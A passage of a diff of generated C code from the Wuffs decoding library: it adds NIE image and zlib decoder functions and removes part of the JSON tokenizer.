WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); -+ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); -+ if ((v_dst_bits_per_pixel & 7u) != 0u) { -+ status = wuffs_base__make_status(wuffs_base__error__unsupported_option); -+ goto exit; -+ } -+ v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); -+ v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); -+ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); -+ while (true) { -+ if (self->private_impl.f_dst_x == self->private_impl.f_width) { -+ self->private_impl.f_dst_x = 0u; -+ self->private_impl.f_dst_y += 1u; -+ if (self->private_impl.f_dst_y >= self->private_impl.f_height) { -+ break; -+ } -+ } -+ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); -+ if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { -+ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); -+ } -+ v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); -+ if (v_i >= ((uint64_t)(v_dst.len))) { -+ v_src_bytes_per_pixel = 4u; -+ if (self->private_impl.f_pixfmt == 2164308923u) { -+ v_src_bytes_per_pixel = 8u; -+ } -+ v_n = (((uint64_t)(io2_a_src - iop_a_src)) / ((uint64_t)(v_src_bytes_per_pixel))); -+ v_n = wuffs_base__u64__min(v_n, ((uint64_t)(((uint32_t)(self->private_impl.f_width - self->private_impl.f_dst_x))))); -+ v_j = v_n; -+ while (v_j >= 8u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 8u)))) { -+ iop_a_src += (v_src_bytes_per_pixel * 8u); -+ } -+ v_j -= 8u; -+ } -+ while (v_j > 0u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 1u)))) { -+ iop_a_src += (v_src_bytes_per_pixel * 1u); -+ } -+ v_j -= 1u; -+ } -+ } else { -+ v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( -+ &self->private_impl.f_swizzler, -+ wuffs_base__slice_u8__subslice_i(v_dst, v_i), -+ wuffs_base__pixel_buffer__palette(a_dst), -+ &iop_a_src, -+ io2_a_src); -+ } -+ if (v_n == 0u) { -+ status = wuffs_base__make_status(wuffs_nie__note__internal_note_short_read); -+ goto ok; -+ } -+ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); -+ } -+ status = wuffs_base__make_status(NULL); -+ goto ok; -+ -+ ok: -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func nie.decoder.frame_dirty_rect -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 -+wuffs_nie__decoder__frame_dirty_rect( -+ const wuffs_nie__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_rect_ie_u32(); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_rect_ie_u32(); -+ } -+ -+ return wuffs_base__utility__make_rect_ie_u32( -+ 0u, -+ 0u, -+ self->private_impl.f_width, -+ self->private_impl.f_height); -+} -+ -+// -------- func nie.decoder.num_animation_loops -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint32_t -+wuffs_nie__decoder__num_animation_loops( -+ const wuffs_nie__decoder* self) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ return 0u; -+} -+ -+// -------- func nie.decoder.num_decoded_frame_configs -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_nie__decoder__num_decoded_frame_configs( -+ const wuffs_nie__decoder* self) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ if (self->private_impl.f_call_sequence > 32u) { -+ return 1u; -+ } -+ return 0u; -+} -+ -+// -------- func nie.decoder.num_decoded_frames -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_nie__decoder__num_decoded_frames( -+ const wuffs_nie__decoder* self) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ if (self->private_impl.f_call_sequence > 64u) { -+ return 1u; -+ } -+ return 0u; -+} -+ -+// -------- func nie.decoder.restart_frame -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_nie__decoder__restart_frame( -+ wuffs_nie__decoder* self, -+ uint64_t a_index, -+ uint64_t a_io_position) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ -+ if (self->private_impl.f_call_sequence < 32u) { -+ return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -+ } -+ if ((a_index != 0u) || (a_io_position != 16u)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ self->private_impl.f_call_sequence = 40u; -+ return wuffs_base__make_status(NULL); -+} -+ -+// -------- func nie.decoder.set_report_metadata -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_nie__decoder__set_report_metadata( -+ wuffs_nie__decoder* self, -+ uint32_t a_fourcc, -+ bool a_report) { -+ return wuffs_base__make_empty_struct(); -+} -+ -+// -------- func nie.decoder.tell_me_more -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_nie__decoder__tell_me_more( -+ wuffs_nie__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__more_information* a_minfo, -+ wuffs_base__io_buffer* a_src) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_dst || !a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 4)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ status = wuffs_base__make_status(wuffs_base__error__no_more_information); -+ goto exit; -+ -+ goto ok; -+ ok: -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} -+ -+// -------- func nie.decoder.workbuf_len -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_nie__decoder__workbuf_len( -+ const wuffs_nie__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ -+ return wuffs_base__utility__make_range_ii_u64(0u, 0u); -+} -+ -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NIE) -+ -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ZLIB) -+ -+// ---------------- Status Codes Implementations -+ -+const char wuffs_zlib__note__dictionary_required[] = "@zlib: dictionary required"; -+const char wuffs_zlib__error__bad_checksum[] = "#zlib: bad checksum"; -+const char wuffs_zlib__error__bad_compression_method[] = "#zlib: bad compression method"; -+const char wuffs_zlib__error__bad_compression_window_size[] = "#zlib: bad compression window size"; -+const char wuffs_zlib__error__bad_parity_check[] = "#zlib: bad parity check"; -+const char wuffs_zlib__error__incorrect_dictionary[] = "#zlib: incorrect dictionary"; -+const char wuffs_zlib__error__truncated_input[] = "#zlib: truncated input"; -+ -+// ---------------- Private Consts -+ -+#define WUFFS_ZLIB__QUIRKS_BASE 2113790976u -+ -+#define WUFFS_ZLIB__QUIRKS_COUNT 1u -+ -+// ---------------- Private Initializer Prototypes -+ -+// ---------------- Private Function Prototypes -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_zlib__decoder__do_transform_io( -+ wuffs_zlib__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf); -+ -+// ---------------- VTables -+ -+const wuffs_base__io_transformer__func_ptrs -+wuffs_zlib__decoder__func_ptrs_for__wuffs_base__io_transformer = { -+ (wuffs_base__optional_u63(*)(const void*))(&wuffs_zlib__decoder__dst_history_retain_length), -+ (uint64_t(*)(const void*, -+ uint32_t))(&wuffs_zlib__decoder__get_quirk), -+ (wuffs_base__status(*)(void*, -+ uint32_t, -+ uint64_t))(&wuffs_zlib__decoder__set_quirk), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__io_buffer*, -+ wuffs_base__io_buffer*, -+ wuffs_base__slice_u8))(&wuffs_zlib__decoder__transform_io), -+ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_zlib__decoder__workbuf_len), -+}; -+ -+// ---------------- Initializer Implementations -+ -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_zlib__decoder__initialize( -+ wuffs_zlib__decoder* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options){ -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (sizeof(*self) != sizeof_star_self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -+ } -+ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -+ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -+ } -+ -+ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -+ // The whole point of this if-check is to detect an uninitialized *self. -+ // We disable the warning on GCC. Clang-5.0 does not have this warning. -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" -+#endif -+ if (self->private_impl.magic != 0) { -+ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -+ } -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else { -+ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -+ memset(self, 0, sizeof(*self)); -+ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -+ } else { -+ memset(&(self->private_impl), 0, sizeof(self->private_impl)); -+ } -+ } -+ -+ { -+ wuffs_base__status z = wuffs_adler32__hasher__initialize( -+ &self->private_data.f_checksum, sizeof(self->private_data.f_checksum), WUFFS_VERSION, options); -+ if (z.repr) { -+ return z; -+ } -+ } -+ { -+ wuffs_base__status z = wuffs_adler32__hasher__initialize( -+ &self->private_data.f_dict_id_hasher, sizeof(self->private_data.f_dict_id_hasher), WUFFS_VERSION, options); -+ if (z.repr) { -+ return z; -+ } -+ } -+ { -+ wuffs_base__status z = wuffs_deflate__decoder__initialize( -+ &self->private_data.f_flate, sizeof(self->private_data.f_flate), WUFFS_VERSION, options); -+ if (z.repr) { -+ return z; -+ } -+ } -+ self->private_impl.magic = WUFFS_BASE__MAGIC; -+ self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = -+ wuffs_base__io_transformer__vtable_name; -+ self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = -+ (const void*)(&wuffs_zlib__decoder__func_ptrs_for__wuffs_base__io_transformer); -+ return wuffs_base__make_status(NULL); -+} -+ -+wuffs_zlib__decoder* -+wuffs_zlib__decoder__alloc(void) { -+ wuffs_zlib__decoder* x = -+ (wuffs_zlib__decoder*)(calloc(1, sizeof(wuffs_zlib__decoder))); -+ if (!x) { -+ return NULL; -+ } -+ if (wuffs_zlib__decoder__initialize( -+ x, sizeof(wuffs_zlib__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -+ free(x); -+ return NULL; -+ } -+ return x; -+} -+ -+size_t -+sizeof__wuffs_zlib__decoder(void) { -+ return sizeof(wuffs_zlib__decoder); -+} -+ -+// ---------------- Function Implementations -+ -+// -------- func zlib.decoder.dictionary_id -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint32_t -+wuffs_zlib__decoder__dictionary_id( -+ const wuffs_zlib__decoder* self) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ return self->private_impl.f_dict_id_want; -+} -+ -+// -------- func zlib.decoder.add_dictionary -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_zlib__decoder__add_dictionary( -+ wuffs_zlib__decoder* self, -+ wuffs_base__slice_u8 a_dict) { -+ if (!self) { -+ return wuffs_base__make_empty_struct(); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_empty_struct(); -+ } -+ -+ if (self->private_impl.f_header_complete) { -+ self->private_impl.f_bad_call_sequence = true; -+ } else { -+ self->private_impl.f_dict_id_have = wuffs_adler32__hasher__update_u32(&self->private_data.f_dict_id_hasher, a_dict); -+ wuffs_deflate__decoder__add_history(&self->private_data.f_flate, a_dict); -+ } -+ self->private_impl.f_got_dictionary = true; -+ return wuffs_base__make_empty_struct(); -+} -+ -+// -------- func zlib.decoder.get_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_zlib__decoder__get_quirk( -+ const wuffs_zlib__decoder* self, -+ uint32_t a_key) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ uint32_t v_key = 0; -+ -+ if ((a_key == 1u) && self->private_impl.f_ignore_checksum) { -+ return 1u; -+ } else if (a_key >= 2113790976u) { -+ v_key = (a_key - 2113790976u); -+ if (v_key < 1u) { -+ if (self->private_impl.f_quirks[v_key]) { -+ return 1u; -+ } -+ } -+ } -+ return 0u; -+} -+ -+// -------- func zlib.decoder.set_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_zlib__decoder__set_quirk( -+ wuffs_zlib__decoder* self, -+ uint32_t a_key, -+ uint64_t a_value) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ -+ if (self->private_impl.f_header_complete) { -+ self->private_impl.f_bad_call_sequence = true; -+ return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -+ } else if (a_key == 1u) { -+ self->private_impl.f_ignore_checksum = (a_value > 0u); -+ return wuffs_base__make_status(NULL); -+ } else if (a_key >= 2113790976u) { -+ a_key -= 2113790976u; -+ if (a_key < 1u) { -+ self->private_impl.f_quirks[a_key] = (a_value > 0u); -+ return wuffs_base__make_status(NULL); -+ } -+ } -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+} -+ -+// -------- func zlib.decoder.dst_history_retain_length -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 -+wuffs_zlib__decoder__dst_history_retain_length( -+ const wuffs_zlib__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__make_optional_u63(false, 0u); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__make_optional_u63(false, 0u); -+ } -+ -+ return wuffs_base__utility__make_optional_u63(true, 0u); -+} -+ -+// -------- func zlib.decoder.workbuf_len -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_zlib__decoder__workbuf_len( -+ const wuffs_zlib__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ -+ return wuffs_base__utility__make_range_ii_u64(1u, 1u); -+} -+ -+// -------- func zlib.decoder.transform_io -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_zlib__decoder__transform_io( -+ wuffs_zlib__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_dst || !a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 1)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ -+ uint32_t coro_susp_point = self->private_impl.p_transform_io; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (true) { -+ { -+ wuffs_base__status t_0 = wuffs_zlib__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); -+ v_status = t_0; -+ } -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_zlib__error__truncated_input); -+ goto exit; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } -+ -+ ok: -+ self->private_impl.p_transform_io = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; -+ -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} -+ -+// -------- func zlib.decoder.do_transform_io -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_zlib__decoder__do_transform_io( -+ wuffs_zlib__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint16_t v_x = 0; -+ uint32_t v_checksum_have = 0; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ uint32_t v_checksum_want = 0; -+ uint64_t v_mark = 0; -+ -+ uint8_t* iop_a_dst = NULL; -+ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_dst && a_dst->data.ptr) { -+ io0_a_dst = a_dst->data.ptr; -+ io1_a_dst = io0_a_dst + a_dst->meta.wi; -+ iop_a_dst = io1_a_dst; -+ io2_a_dst = io0_a_dst + a_dst->data.len; -+ if (a_dst->meta.closed) { -+ io2_a_dst = iop_a_dst; -+ } -+ } -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_do_transform_io; -+ if (coro_susp_point) { -+ v_checksum_have = self->private_data.s_do_transform_io.v_checksum_have; -+ } -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_bad_call_sequence) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -+ goto exit; -+ } else if (self->private_impl.f_quirks[0u]) { -+ } else if ( ! self->private_impl.f_want_dictionary) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ uint16_t t_0; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_0 = wuffs_base__peek_u16be__no_bounds_check(iop_a_src); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); - while (true) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- v_number_length = wuffs_json__decoder__decode_number(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- v_number_status = (v_number_length >> 8u); -- v_vminor = 10486787u; -- if ((v_number_length & 128u) != 0u) { -- v_vminor = 10486785u; -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -- v_number_length = (v_number_length & 127u); -- if (v_number_status == 0u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(v_number_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); -+ if (num_bits_0 == 8) { -+ t_0 = ((uint16_t)(*scratch >> 48)); - break; - } -- while (v_number_length > 0u) { -- v_number_length -= 1u; -- if (iop_a_src > io1_a_src) { -- iop_a_src--; -- } else { -- status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); -- goto exit; -+ num_bits_0 += 8u; -+ *scratch |= ((uint64_t)(num_bits_0)); -+ } -+ } -+ v_x = t_0; -+ } -+ if (((uint16_t)(((uint16_t)(v_x >> 8u)) & 15u)) != 8u) { -+ status = wuffs_base__make_status(wuffs_zlib__error__bad_compression_method); -+ goto exit; -+ } -+ if (((uint16_t)(v_x >> 12u)) > 7u) { -+ status = wuffs_base__make_status(wuffs_zlib__error__bad_compression_window_size); -+ goto exit; -+ } -+ if (((uint16_t)(v_x % 31u)) != 0u) { -+ status = wuffs_base__make_status(wuffs_zlib__error__bad_parity_check); -+ goto exit; -+ } -+ self->private_impl.f_want_dictionary = (((uint16_t)(v_x & 32u)) != 0u); -+ if (self->private_impl.f_want_dictionary) { -+ self->private_impl.f_dict_id_have = 1u; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ uint32_t t_1; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -- } -- if (v_number_status == 1u) { -- if (self->private_impl.f_quirks[14u]) { -- if (a_dst) { -- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -- } -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); -- status = wuffs_json__decoder__decode_inf_nan(self, a_dst, a_src); -- if (a_dst) { -- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -- } -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); -+ if (num_bits_1 == 24) { -+ t_1 = ((uint32_t)(*scratch >> 32)); - break; - } -- status = wuffs_base__make_status(wuffs_json__error__bad_input); -- goto exit; -- } else if (v_number_status == 2u) { -- status = wuffs_base__make_status(wuffs_json__error__unsupported_number_length); -- goto exit; -- } else { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(17); -- while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(18); -- } -- } -- } -- break; -- } else if (v_class == 5u) { -- v_vminor = 2113553u; -- if (v_depth == 0u) { -- } else if (0u != (v_expect_after_value & (((uint32_t)(1u)) << 6u))) { -- v_vminor = 2113601u; -- } else { -- v_vminor = 2113569u; -- } -- if (v_depth >= 1024u) { -- status = wuffs_base__make_status(wuffs_json__error__unsupported_recursion_depth); -- goto exit; -- } -- v_stack_byte = (v_depth / 32u); -- v_stack_bit = (v_depth & 31u); -- self->private_data.f_stack[v_stack_byte] |= (((uint32_t)(1u)) << v_stack_bit); -- v_depth += 1u; -- iop_a_src += 1u; -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- v_expect = 4162u; -- v_expect_after_value = 4164u; -- goto label__outer__continue; -- } else if (v_class == 6u) { -- iop_a_src += 1u; -- if (v_depth <= 1u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(2101314u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- goto label__outer__break; -- } -- v_depth -= 1u; -- v_stack_byte = ((v_depth - 1u) / 32u); -- v_stack_bit = ((v_depth - 1u) & 31u); -- if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(2105410u)) << 